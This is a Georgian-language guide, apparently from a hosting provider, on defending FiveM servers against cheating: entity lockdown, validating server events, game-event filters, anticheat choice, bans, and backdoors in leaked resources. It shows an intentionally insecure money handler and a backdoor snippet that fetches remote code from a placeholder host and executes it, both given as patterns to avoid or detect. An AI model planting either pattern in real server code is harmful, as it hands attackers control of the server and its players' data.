ზიანის უმეტესობას, რასაც ჩიტერები FiveM სერვერს აყენებენ, ჭკვიანი cheat არ სჭირდება. მას სჭირდება სერვერის event, რომელიც ენდობა ყველაფერს, რასაც კლიენტი აგზავნის - მომეცი ფული, მომეცი ეს ნივთი, დამინიშნე სამუშაო - და სერვერი, რომელიც კლიენტებს უფლებას აძლევს, შექმნან ნებისმიერი ობიექტი, რაც მოესურვებათ. ჯერ ეს ორი რამ გაასწორე: დააყენე sv_entityLockdown, შეამოწმე ყოველი სერვერის event სერვერზე და გაფილტრე game event-ები, რომლებსაც cheat menu-ები ბოროტად იყენებს. ფასიანი anticheat ამის თავზე აღმოჩენის ფენაა, რომლის ქონაც დატვირთულ საჯარო სერვერზე ღირს, დაუცველზე კი უსარგებლოა. ეს გზამკვლევი ფენებს იმ თანმიმდევრობით გადის, რომელიც უმცირესი ძალისხმევით უდიდეს დაცვას იძლევა, ხსნის, რა შეუძლია და რა არ შეუძლია anticheat-ის თითოეულ კატეგორიას, და როგორ აიძულო ბანები, რომ იმუშაოს.
სად აზიანებს ჩიტერობა სინამდვილეში#
სასარგებლოა გამიჯნო, რისი გაკეთება შეუძლია cheat menu-ს დამოუკიდებლად და რის გაკეთების უფლებას აძლევს მას შენი სერვერი.
კლიენტზე cheat-ს შეუძლია ყველაფერი, რაც თამაშს შეუძლია: ტელეპორტი, ფრენა, კედლებში ხედვა, მოთამაშეზე დამიზნება, მანქანებისა და prop-ების ლოკალურად შექმნა. ამის ნაწილი მხოლოდ ჩიტერის საკუთარ ეკრანზე მოქმედებს. ნაწილი - შექმნილი ობიექტები, აფეთქებები, მიმაგრებული prop-ები - სერვერს game event-ებად ეგზავნება და ყველას ეჩვენება, თუ სერვერი უარს არ იტყვის.
სერვერზე cheat-ს მხოლოდ იმის გამოძახება შეუძლია, რასაც შენი resource-ები ხსნის. ყოველი RegisterNetEvent handler არის ფუნქცია, რომელსაც ნებისმიერი მიერთებული კლიენტი ნებისმიერი არგუმენტებით, ნებისმიერი სიხშირით იძახებს. თუ resource-ს აქვს სერვერის event, რომელიც სამუშაოს ჯილდოს იხდის და არაფერს ამოწმებს, ჩიტერი მას ათასჯერ გამოიძახებს და შენი ეკონომიკა ერთ წუთში გაქრება. ვერცერთი anticheat ამას სრულად ვერ გაასწორებს, რადგან სერვერის თვალსაზრისით გამოძახება ზუსტად ლეგიტიმურს ჰგავს.
| შეტევა | რა აძლევს მუშაობის საშუალებას | რა აჩერებს |
|---|---|---|
| მანქანების, ped-ების, prop-ების შექმნა | კლიენტის მიერ ობიექტების შექმნა ნებადართულია | sv_entityLockdown |
| ფულისა და ნივთების ინექცია | სერვერის event-ები, რომლებიც კლიენტს ენდობა | სერვერის მხარის შემოწმება |
| აფეთქებები, ცეცხლი, prop-ების მიმაგრება მოთამაშეებზე | game event-ები შემოწმების გარეშე გადაგზავნილი | game event-ების ფილტრები |
| Aimbot, ESP, noclip | კლიენტის მეხსიერება | კლიენტზე აღმოჩენა: Cfx.re და anticheat-ები |
| ბანის არიდება ახალი ანგარიშით | ბანები ერთ იდენტიფიკატორზე | ბანები ბევრ იდენტიფიკატორსა და token-ზე |
ფენა 1: კონფიგურაციის ხაზები#
ეს არაფერი ჯდება და ყველაზე ფართო კარებს ხურავს:
set sv_entityLockdown "relaxed"sv_scriptHookAllowed 0sv_pureLevel 1set sv_endpointPrivacy truesv_entityLockdown ყველაზე მნიშვნელოვანია. ნაგულისხმევად ის inactive-ია, სადაც ნებისმიერ კლიენტს შეუძლია ნებისმიერი ობიექტის შექმნა. relaxed ბლოკავს კლიენტის სკრიპტების მიერ შექმნილ ობიექტებს, რასაც cheat menu-ები იყენებს, და გარემოს ტრაფიკს ხელს არ ახლებს. strict ბლოკავს კლიენტის მიერ შექმნილ ყველა ობიექტს, ასე რომ ყოველი მანქანა სერვერმა უნდა შექმნას. მას OneSync სჭირდება, და ის გააფუჭებს resource-ებს, რომლებიც რამეს კლიენტის მხარეს ქმნის - რაც ისედაც იმ resource-ების სიაა, რომელთა განახლებაც ღირს. OneSync და მოთამაშის სლოტები ხსნის რეჟიმებს და სერვერის მხარეს შექმნის ნიმუშს, რომელიც მათ ქვეშ მუშაობს.
sv_scriptHookAllowed 0 უარს ეუბნება კლიენტებს, რომლებიც ScriptHookV-ის მენიუებს უშვებენ. sv_pureLevel უარს ეუბნება შეცვლილ თამაშის ფაილებს: 1 მათ უმეტესობას ბლოკავს, 2 გრაფიკულ მოდებსაც ბლოკავს და ვიზუალური პაკეტის მქონე უდანაშაულო მოთამაშეებს უკან დააბრუნებს. ეს ზარმაცი cheat-ების ფილტრია და არა anticheat. sv_endpointPrivacy მოთამაშეების IP მისამართებს საჯარო გამონატანიდან გარეთ ტოვებს, რაც მნიშვნელოვანია, როცა ვინმეს შენს სერვერზე სტრიმერზე თავდასხმა უნდა.
სერვერის ახალ build-ებს ასევე აქვთ convar-ები, რომლებიც მართავს, რომელი ქსელური მოთხოვნები და თამაშის ფუნქციები შეუძლიათ კლიენტებს სხვებზე გამოიწვიონ, მაგალითად sv_filterRequestControl, რომელიც ზღუდავს კლიენტების მიერ სხვა მოთამაშეების კუთვნილი ობიექტების კონტროლის აღებას. ხელმისაწვდომი დონეები build-ებს შორის იცვლებოდა, ამიტომ დაყენებამდე Cfx.re-ის მიმდინარე დოკუმენტაცია წაიკითხე. ფაილის დანარჩენი ნაწილი FiveM-ის server.cfg-ის ახსნაშია.
ფენა 2: სერვერის event-ები, რომლებიც შეყვანას ამოწმებს#
აქ ხდება რეალური ზიანის უმეტესობა, და აქ ვერცერთი პროდუქტი ვერ გიშველის. წესი მარტივია: სერვერი წყვეტს, რა მოხდა, კლიენტი მხოლოდ ითხოვს.
ტიპური დაუცველი handler:
-- server side: trusts everything the client sendsRegisterNetEvent("fishing:sell", function(amount, price) local xPlayer = ESX.GetPlayerFromId(source) xPlayer.addMoney(amount * price)end)ჩიტერი fishing:sell-ს amount = 100000-ით იძახებს. იგივე handler, სწორად დაწერილი:
local lastSell = {}RegisterNetEvent("fishing:sell", function() local src = source local xPlayer = ESX.GetPlayerFromId(src) if not xPlayer then return end -- rate limit: one sale per 5 seconds per player local now = os.time() if lastSell[src] and now - lastSell[src] < 5 then return end lastSell[src] = now -- must be standing at the fish market local coords = GetEntityCoords(GetPlayerPed(src)) if #(coords - vector3(-1845.0, -1195.0, 14.3)) > 10.0 then return end -- the server counts the fish and sets the price local fish = xPlayer.getInventoryItem("fish").count if fish < 1 then return end xPlayer.removeInventoryItem("fish", fish) xPlayer.addMoney(fish * Config.FishPrice)end)პრინციპები ყოველ event-ზე ვრცელდება:
- გამოიყენე `source` და არასოდეს არგუმენტად გადმოცემული მოთამაშის ID.
source-ს სერვერი აყენებს და მისი გაყალბება შეუძლებელია. არგუმენტისა, რომელიც სამიზნე მოთამაშეს ასახელებს - შესაძლებელია. - გამოთვალე რაოდენობები სერვერზე. კლიენტი ამბობს "მინდა ჩემი თევზი გავყიდო"; სერვერი თევზს ითვლის და ფასი იცის.
- შეამოწმე პოზიცია. OneSync-ით
GetEntityCoords(GetPlayerPed(source))სერვერზე მუშაობს. event-მა, რომელსაც აზრი მხოლოდ გარკვეულ ადგილას აქვს, უნდა შეამოწმოს, რომ მოთამაშე იქ არის. - შეამოწმე მდგომარეობა. სამუშაო, მორიგეობის სტატუსი, ნივთის ფლობა, მართლა დაიწყო თუ არა სერვერზე სამუშაოს ის ნაბიჯი, რომლისთვისაც ჯილდოა.
- შეზღუდე სიხშირე. დაიმახსოვრე, როდის გამოიძახა თითოეულმა მოთამაშემ ის ბოლოს.
- ჩაწერე ჩავარდნები ლოგში. უარყოფილი გამოძახება შეუძლებელი არგუმენტებით ჩიტერია, ხოლო ლოგის ხაზი მტკიცებულებაა.
event-ების "token-ები" და შემთხვევითი event-ების სახელები, რომლებსაც ზოგიერთი resource დაცვად ყიდის, ბუნდოვანებაა. cheat, რომელიც კლიენტის მეხსიერებას კითხულობს, token-საც წაიკითხავს. ისინი ძალისხმევას ოდნავ ზრდის და შემოწმებას ვერ ანაცვლებს.
სამუშაო იმ resource-ების აუდიტშია, რომლებიც შენ არ დაგიწერია. წაიკითხე ყოველი RegisterNetEvent თითოეული resource-ის სერვერის მხარეს და იკითხე, რა მოხდება, თუ კლიენტი მას უაზრო მონაცემებით გამოიძახებს. კარგად მოვლილი პროექტების framework-ის resource-ები ჩვეულებრივ წესრიგშია; პრობლემები ფორუმიდან აღებულ უფასო სამუშაოს სკრიპტში ცხოვრობს. framework-ის არჩევა ხსნის, რომელი ეკოსისტემები ეკიდება ამას სერიოზულად.
ფენა 3: game event-ების ფილტრაცია#
ზოგიერთი ქმედება შენი resource-ების event-ები კი არა, game event-ებია, რომლებსაც სერვერი კლიენტებს შორის გადასცემს: აფეთქებები, დაზიანება, იარაღის შეცვლა, ნაწილაკების ეფექტები, ობიექტების შექმნა. FXServer სერვერის სკრიპტებს მათი შემოწმებისა და გაუქმების საშუალებას აძლევს.
-- server sideAddEventHandler("explosionEvent", function(sender, ev) -- block every explosion type not caused by normal gameplay you allow if not AllowedExplosions[ev.explosionType] then CancelEvent() print(("blocked explosion type %d from %s"):format(ev.explosionType, sender)) endend)AddEventHandler("entityCreating", function(handle) if BlockedModels[GetEntityModel(handle)] then CancelEvent() endend)| event | რას მოიცავს |
|---|---|
explosionEvent | აფეთქებები, მათ შორის ის, რასაც cheat სხვა მოთამაშეებზე ქმნის |
entityCreating | ობიექტი, რომელიც უნდა შეიქმნას; გაუქმებადია |
weaponDamageEvent | ერთი მოთამაშის მიერ რამეზე მიყენებული დაზიანება |
giveWeaponEvent, removeWeaponEvent | ped-ისთვის მიცემული ან წართმეული იარაღი |
clearPedTasksEvent | ped-ზე გასუფთავებული task-ები, რაც მოთამაშეების მანქანიდან გადმოსაგდებად გამოიყენება |
ptFxEvent | ნაწილაკების ეფექტები |
startProjectileEvent | ნასროლი ჭურვები |
თითოეულ მათგანს ნორმალურ თამაშში ლეგიტიმური გამოყენება აქვს, ამიტომ სამუშაო არის allow list-ების აგება და არა event-ის მთლიანად დაბლოკვა. roleplay სერვერს, სადაც ასაფეთქებლების სამუშაო არ არის, შეუძლია აფეთქების ტიპების უმეტესობა პირდაპირ დაბლოკოს. giveWeaponEvent-ს კლიენტიდან სხვა მოთამაშისკენ თითქმის არანაირი ლეგიტიმური გამოყენება არ აქვს framework-ის სერვერზე, სადაც იარაღი ინვენტარიდან მოდის. ერთი კვირა ჩაწერე ლოგში, რას ბლოკავ, სანამ ამას kick-ებად აქცევ, თორემ საკუთარ მექანიკოსების სამუშაოს დაბანავ.
ფენა 4: აღმოჩენა და anticheat-ის არჩევა#
კლიენტის მხარის cheat-ები - aimbot, ESP, noclip, მენიუები, რომლებიც მხოლოდ ჩიტერის საკუთარ თამაშს ეხება - მხოლოდ კლიენტზე შეიძლება დაიჭირო. Cfx.re-ის კლიენტს საკუთარი დაცვა აქვს და ცნობილ cheat-ებზე გლობალურ ბანებს გასცემს, რასაც უფასოდ იღებ და ვერ აკონფიგურირებ. ამის მიღმა ვარიანტებია:
უფასო resource anticheat-ები. ძირითადად ცნობილი cheat event-ების სახელებისა და აკრძალული მოდელების სიები, სერვერის მხარის ზოგიერთი შემოწმებით. სასარგებლოა საწყის წერტილად; ადვილად გვერდის ავლით, რადგან მათი ლოგიკა საჯაროა.
ფასიანი anticheat-ები. პროდუქტები, როგორიცაა FiveGuard, ElectronAC და WaveShield, აერთიანებს კლიენტის კომპონენტს სერვერის მხარის ევრისტიკებთან და მიმდინარე cheat menu-ების წინააღმდეგ ახლდება. ბაზარი სწრაფად იცვლება და სახელები მოდის და მიდის, ამიტომ შეაფასე ისინი ამ პუნქტებით და არა მხოლოდ რეპუტაციით:
- ცრუ დადებითები. იკითხე, როგორ მოწმდება აღმოჩენები ბანამდე. anticheat, რომელიც მუდმივ მოთამაშეს ლაგის პიკისთვის დაბანავს, უფრო ძვირი გიჯდება, ვიდრე ჩიტერი.
- წარმადობა. გაზომე დაყენების შემდეგ
resmon 1-ით და სერვერის profiler-ით. ზოგი კლიენტის კადრის დროს მეტს ხარჯავს, ვიდრე დანარჩენი ყველაფერი ერთად. FiveM სერვერის წარმადობა აჩვენებს, როგორ. - ნდობა. anticheat იმავე უფლებებით მუშაობს, რაც შენს სერვერზე ყოველ სხვა resource-ს აქვს, ჩვეულებრივ escrow-ით დაცული, ისე რომ ვერ წაიკითხავ. შენ მომწოდებელს ანდობ მონაცემთა ბაზის credentials-ს და შენი მოთამაშეების მონაცემებს.
- მხარდაჭერა და ხანგრძლივობა. ფასიანი პროდუქტი, რომლის ავტორიც ქრება, ახალი მენიუების აღმოჩენას კვირებში წყვეტს.
გაუშვი ერთი anticheat და არა ორი. ორი პროდუქტი, რომლებიც ერთსა და იმავე event-ებს ეჭიდება, ერთმანეთს ებრძვის და ცრუ დადებითებს აორმაგებს.
ფენა 5: ბანები, რომლებიც მუშაობს#
ბანს ერთ იდენტიფიკატორზე ახალი ანგარიშით არიდებენ თავს. txAdmin ინახავს ყოველ იდენტიფიკატორს, რომლითაც მოთამაშე უერთდება - license, discord, steam, როცა Steam Web API key დაყენებულია, xbl, live, IP - პლუს აპარატურის token-ებს, რომლებსაც FXServer GetPlayerToken-ით ხსნის, და მისი ბანები ყველა მათგანს ემთხვევა. გამოიყენე txAdmin-ის ბანები, ან anticheat, რომელიც მათ აწვდის, და არა framework-ის საკუთარი ბანების ცხრილი, რომელიც მხოლოდ ლიცენზიას ინახავს.
ორი პრაქტიკული საკითხი. ბანის მიზეზები კონკრეტული შეინარჩუნე და მტკიცებულება მიამაგრე (კლიპი, ლოგის ხაზი), რადგან გასაჩივრებები მოდერაციის ნაწილია, და სერვერის წესები, მოდერაცია და სტაფი ამის ის მხარეა, რომელიც ადამიანებს ეხება. და შეზღუდე, ვის შეუძლია დაბანვა: სტაფს, რომელსაც დაბანვა შეუძლია, მეგობრების განბანვაც შეუძლია. მიეცი მოდერატორებს txAdmin-ის ის უფლებები, რომლებიც სჭირდებათ, და არა მეტი - იგივე პრინციპი, რაც subuser-ები და მინიმალური პრივილეგია პანელის მხარეს.
backdoor-ის პრობლემა#
FiveM სერვერზე ყველაზე დამაზიანებელი "ჩიტერი" ხშირად უკვე დაყენებულია. გაჟონილი ფასიანი resource-ები - გადმოწერილი საიტებიდან, რომლებიც escrow-ით დაცულ სკრიპტებს ხელახლა ავრცელებს - რეგულარულად შეიცავს backdoor-ებს: რამდენიმე ხაზს, რომელიც კოდს დისტანციური მისამართიდან იღებს და სერვერის სრული უფლებებით უშვებს. ნიმუში ასე გამოიყურება:
PerformHttpRequest("https://example.invalid/x", function(_, body) load(body)()end)მოძებნე ყოველ resource-ში PerformHttpRequest load-თან ერთად, და გრძელი ბუნდოვანი სტრიქონები ფაილებში, რომლებსაც მათი შეცვლის მიზეზი არ აქვს. backdoor-იან სერვერზე შეიძლება ადმინი უცხოებს მიეცეს, მონაცემთა ბაზა გადმოიტვირთოს ან ლიცენზიის key მოიპარონ, და ვერცერთი anticheat ამას ვერ დაინახავს, რადგან ეს resource-ია, რომელიც თავად გაუშვი. ზოგადი მეთოდი აღწერილია მოდიფიცირებული სერვერის სისუფთავის შენარჩუნებაში, ხოლო თუ იპოვი, რა ქნა, როცა შენი სერვერი გატეხეს არის მოქმედების თანმიმდევრობა: შეაჩერე გავრცელება, შეცვალე ყოველი credential, აღადგინე, შემდეგ იპოვე კარი.
ლოგირება, მტკიცებულება და პირველი კვირის გეგმა#
დაცვა, რომლის მუშაობასაც ვერ ხედავ, არის დაცვა, რომელსაც პირველივე ჯერზე გამორთავ, როცა მუდმივი მოთამაშე დაიჩივლებს. ზემოთ აღწერილმა ყოველმა ფენამ უნდა დატოვოს კვალი, რომელსაც მოგვიანებით წაიკითხავ.
- ჩაწერე უარყოფილი სერვერის event-ები. როცა შემოწმება ჩავარდება, ჩაწერე მოთამაშე, event-ი, არგუმენტები და მიზეზი. ერთი ხაზი თითო უარყოფაზე საკმარისია. მოთამაშეს სამი უარყოფილი გაყიდვის event-ით ერთ წუთში, თითოეული ასი ათასი თევზის მტკიცებით, დამატებითი გამოძიება არ სჭირდება.
- ჩაწერე დაბლოკილი game event-ები. აფეთქებები, ობიექტების შექმნა და იარაღის მიცემა, რომლებიც შენმა ფილტრებმა გააუქმა, გამგზავნით. წაიკითხე მათი პირველი კვირა, სანამ რომელიმეს ავტომატურ kick-ად აქცევ.
- სერიოზული შემთხვევები გაგზავნე იქ, სადაც ხალხი იყურება. Discord-ის არხი სტაფისთვის, webhook-ით მიწოდებული, ჩვეულებრივი არჩევანია; Discord webhook-ები სერვერის სტატუსისთვის მექანიკას ხსნის. შეზღუდე ის event-ებით, რომლებსაც ადამიანი სჭირდება, თორემ სტაფი არხს ერთ კვირაში დაადუმებს.
- შეინახე კონსოლის გამონატანი. txAdmin ინახავს ადმინის ქმედებებისა და მოთამაშეების ისტორიის ლოგს, ხოლო სერვერის კონსოლი აჩვენებს, რა დაბეჭდეს resource-ებმა. როცა გასაჩივრება ორი კვირის შემდეგ მოვა, ლოგები შენი ერთადერთი მეხსიერებაა; ლოგები, რომელთა შენახვაც ღირს ეხება, რომელი.
მტკიცებულება შენს სტაფსაც იცავს. ბანი, რომელსაც ლოგის ხაზი და დროის ნიშნული უჭერს მხარს, გადაწყვეტილებაა, რომელიც ნებისმიერს შეუძლია გადახედოს. ბანი, რომელსაც "აშკარად ჩიტერობდა" უჭერს მხარს, კამათია.
პირველი კვირის საკონტროლო სია ახალი სერვერისთვის
- დააყენე
sv_entityLockdownrelaxed-ზე,sv_scriptHookAllowed 0და ჩართე OneSync, თუ ჯერ არ არის ჩართული. - ჩამოწერე ყოველი სერვერის event ყოველ resource-ში, რომელიც შენ არ დაგიწერია. მონიშნე ის, რაც ფულს, ნივთებს, სამუშაოებს ან უფლებებს იძლევა.
- გაასწორე ან ჩაანაცვლე ყოველი მონიშნული event, რომელიც რაოდენობას, სამიზნეს ან ფასს კლიენტიდან იღებს.
- დაამატე game event-ების handler-ები აფეთქებებისა და იარაღის მიცემისთვის, მხოლოდ ლოგირებით.
- წაიკითხე ერთი კვირის ლოგები, შემდეგ აშკარა შემთხვევები ბლოკებად აქციე.
- გადაწყვიტე აღმოჩენის anticheat-ზე, გაზომე მისი ხარჯი და დატოვე მხოლოდ მაშინ, თუ რიცხვები მისაღებია.
- დარწმუნდი, რომ ბანები txAdmin-ზე გადის, რომ ყველა იდენტიფიკატორს მოიცავდეს.
exploit-ის შემდეგ: უკან დაბრუნება#
როცა ვინმე ხვრელით მაინც იღებს ფულს ან ნივთებს, სერვერი მუშაობას აგრძელებს და ზიანი ვაჭრობით ვრცელდება. ყველაზე სუფთა აღდგენა არის მონაცემთა ბაზის აღდგენა exploit-მდე, პლუს event-ის გამოსწორება. ეს მხოლოდ მაშინ მუშაობს, თუ ახალი backup გაქვს და იცი, რომ ის აღდგება.
RE:NODE-ზე backup-ები კეთდება მოთხოვნით ან განრიგით პანელიდან, ინახება მანქანის გარეთ და ღილაკით აღდგება; backup შეიძლება ჩაიკეტოს, რომ როტაციამ ინციდენტამდელი ასლი არ წაშალოს. subuser-ებს შეიძლება მიეცეთ მხოლოდ კონსოლზე ან მხოლოდ ფაილებზე წვდომა, ყოველ სერვერს საკუთარი SFTP credentials აქვს და თითოეულ სერვერზე არის აქტივობის ლოგი, რაც გეხმარება, როცა კითხვაა, ვინ რა შეცვალა. თავად ქსელზე შეტევები ჩიტერობისგან განსხვავებული საკითხია - რას ვაკეთებთ შეტევების წინააღმდეგ გულწრფელად ამბობს, რას იჭერს და რას ვერ იჭერს upstream ფილტრაცია.
FAQ#
რომელია საუკეთესო anticheat FiveM-ისთვის?
ერთი პასუხი არ არსებობს, და რეიტინგი იცვლება, როცა cheat-ების შემქმნელები გადაადგილდებიან. საუკეთესო დაცვა არის entity lockdown პლუს სერვერის event-ები, რომლებიც შეყვანას ამოწმებს. ამის თავზე აირჩიე მოვლილი ფასიანი anticheat ცრუ დადებითების დამუშავებით, წარმადობის ხარჯითა და მხარდაჭერით, და გამოცადე საკუთარ სერვერზე, სანამ ენდობი.
sv_entityLockdown ყველა ჩიტერს აჩერებს?
არა. ის აჩერებს კლიენტების მიერ ობიექტების შექმნას, რაც მანქანებისა და prop-ების spawn-ს, ყველაზე თვალსაჩინო ბოროტად გამოყენებას, აშორებს. ის არაფერს აკეთებს aimbot-ების, ტელეპორტაციის ან სერვერის event-ების წინააღმდეგ, რომლებიც ფულს არიგებს.
შეუძლიათ ჩიტერებს ჩემს სერვერზე საკუთარი თავისთვის ფულის მიცემა?
მხოლოდ მაშინ, თუ resource ამის უფლებას აძლევს. ფული სერვერის event-ებიდან მოდის; თუ რომელიმე კლიენტიდან რაოდენობას შემოწმების გარეშე იღებს, ჩიტერები მას იპოვიან. ჩაატარე აუდიტი ყოველი resource-ის სერვერის მხარეს, რომელიც ფულს იხდის.
საკმარისია event-ების token-ები სერვერის event-ების დასაცავად?
არა. ისინი event-ების ხელით გამოძახებას ართულებს, მაგრამ cheat-ს, რომელიც კლიენტის მეხსიერებას კითხულობს, token-ის წაკითხვაც შეუძლია. event-ს უსაფრთხოს სერვერზე შემოწმება ხდის.
როგორ შევაჩერო დაბანილი ჩიტერების დაბრუნება?
დაბანე ყველა იდენტიფიკატორითა და აპარატურის token-ით, რასაც txAdmin ნაგულისხმევად აკეთებს. არაფერი ხდის არიდებას შეუძლებელს, მაგრამ ბანები, რომლებიც ბევრ იდენტიფიკატორს ემთხვევა, მას ნელს და ძვირს ხდის.
შეუძლია anticheat-ს ჩემი სერვერის შენელება?
დიახ. დაყენების შემდეგ გაზომე resmon-ით კლიენტზე და profiler-ით სერვერზე. პროდუქტი, რომელიც ყოველ კლიენტზე შესამჩნევ კადრის დროს ამატებს, სერვერს მოთამაშეების ხარჯზე იცავს.




კომენტარები
სრულიად ანონიმურად: ანგარიშის, ელფოსტის და cookie-ის გარეშე. ინახება მხოლოდ სახელი, ტექსტი და დრო - სხვა არაფერი. ბმულების რაოდენობა ლიმიტირებულია.